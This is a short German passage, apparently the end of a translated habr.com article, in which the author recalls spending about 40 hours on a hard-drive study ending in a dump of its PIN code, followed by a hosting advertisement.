Ich habe für diese Studie zwei Wochenenden und mehrere Abende investiert. Insgesamt etwa 40 Stunden. Von dem Zeitpunkt an, als ich die Festplatte geöffnet habe, bis zum Abschluss (dem Dump des PIN-Codes). In diese 40 Stunden wurde auch die Zeit einbezogen, die ich für das Verfassen dieses Artikels aufgewendet habe. Es war eine sehr spannende Reise.

Quelle: habr.com

Erwerben Sie zuverlässiges Hosting für Websites mit DDoS-Schutz, VPS VDS-Server 🔥 Kaufen Sie zuverlässiges Hosting für Websites mit DDoS-Schutz, VPS VDS-Server | ProHoster